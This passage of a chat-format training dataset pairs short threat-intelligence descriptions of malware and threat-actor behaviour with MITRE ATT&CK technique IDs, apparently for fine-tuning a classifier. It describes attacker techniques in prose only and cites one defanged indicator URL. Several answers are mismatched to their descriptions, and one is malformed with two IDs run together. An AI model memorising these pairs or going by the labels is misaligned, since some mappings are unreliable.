                "content": "A Turla Javascript backdoor added a local_update_check value under the Registry key \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" to establish persistence. Additionally, a Turla custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware tries to delete the shadow copies two times, once before crypting the files in the infected system and secondly after crypting them"
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can only execute correctly if the word `Platypus` is passed to it on the command line."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT has a command to delete its Registry key and scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads and uploads files on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can find a process owned by a specific user and impersonate the associated token."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One, called \"frown.py,\" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143. With a successful connection, it will send the word \"almond\" The server should reply either with \"who\" or \"ice. The RAT will answer the \"who\" command with a string that contains the username, computer name and the previously generated UUID. The \"ice\" command simply makes the RAT finish the connection procedure. This is responsible for the interpretation and execution of the C2 commands. The available commands are"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has searched for information on the target company's website."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RawPOS dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "appears to have functionality to modify remote Registry information."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nefilim reads the hosts file (C:\\Windows\\System32\\drivers\\etc\\hosts) to get a listing of other systems by IP addresses and hostnames on the network that may be used for Lateral Movement from the current system."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The reconnaissance modules used with  can collect information on network configuration."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot has the ability to use the command shell to execute commands on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can use Wevtutil to remove Security, System and Application Event Viewer logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence can create, delete, or modify a specified Registry key or value."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors compromised web servers to use for C2."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 8 shows the network communication of the Pause.ps1 download"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection. The domains the group has been using to distribute payloads were usually resolved across a lot of IPs"
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex has used the \"OutputDebugStringW\" function to avoid malware analysis as part of its anti-debugging technique."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather the victim computer name and serial number."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 added their own devices as allowed IDs for active sync using \"Set-CASMailbox\", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to list files upon receiving the \"ls\" command from C2."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 leveraged Sysmon to understand the processes, services in the organization."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "boom! Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. Derusbi also gathers the username of the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk can stop anti-virus services on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has deleted itself from the system after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is a preferred platform within data centers and the cloud for businesses, as well as an ongoing favorite when it comes to a majority of Internet-facing web and application servers"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A recent Lokibot campaign has been spotted, which made use of a tunneling service to spread the malware. According to My Online Security, threat actors behind this campaign leveraged a service known as Ngrok. As claimed on the website, Ngrok reveals servers in NATs and Firewalls over secure tunnels. Hence, the service acted as a direct tunnel or a VPN which the actors exploited to push the malware through spam emails"
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has injected a DLL library containing a Trojan into the fwmain32.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used steganography to hide stolen data inside other files stored on Github."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can collect information related to a compromised host, including OS version and a list of drives."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can pull a timestamp from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has sent malicious Word OLE compound documents to victims."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware communicates with its C2 server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used TLS-encrypted FTP to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D can use HTTP POST and GET requests to send and receive C2 information."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to write random data across a file and delete it."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sent spear phishing emails containing links to .hta files."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuditCred encrypts the configuration."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has used WMI to gather information about the system."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer stores configuration items in alternate data streams (ADSs) if the Registry is not accessible."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER may collect information about the currently logged in user by running \"whoami\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher extracts and decrypts stage 3 malware, which is stored in encrypted resources."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CAB file contains the following files and functions:  dll: A malicious DLL used to launch batch files (used with cliconfg.exe for UAC bypass)"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla can use HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TDTESS creates then deletes log files during installation of itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Helminth config file is encrypted with RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed using a hard coded list of passwords to brute force user accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies and kills anti-malware processes."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can enumerate network adapter information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. and only continues if the file exists"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Throughout the years, Kimsuky has been using an array of malware in their operations. The infrastructure of some of the malware used by Kimsuky can be tracked using pattern analysis of the URI structures used by some of their tools. The following table maps commonly observed URI patterns to their respective malware"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec is capable of using DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to identify the domain and the MAC and IP addresses of an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MURKYTOP has the capability to delete local files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has searched for private keys in .ssh."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LookBack can take desktop screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ftp may be used to exfiltrate data separate from the main command and control protocol."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PolyglotDuke can retrieve payloads from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs BIOS modification and can download and execute a file as well as protect itself from removal."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can use an encrypted beacon to check in with C2."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads. The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64). When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "registers itself as a service by adding several Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MechaFlounder uses a python-based payload."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get users to execute malware via social media and spearphishing emails."
            },
            {
                "role": "assistant",
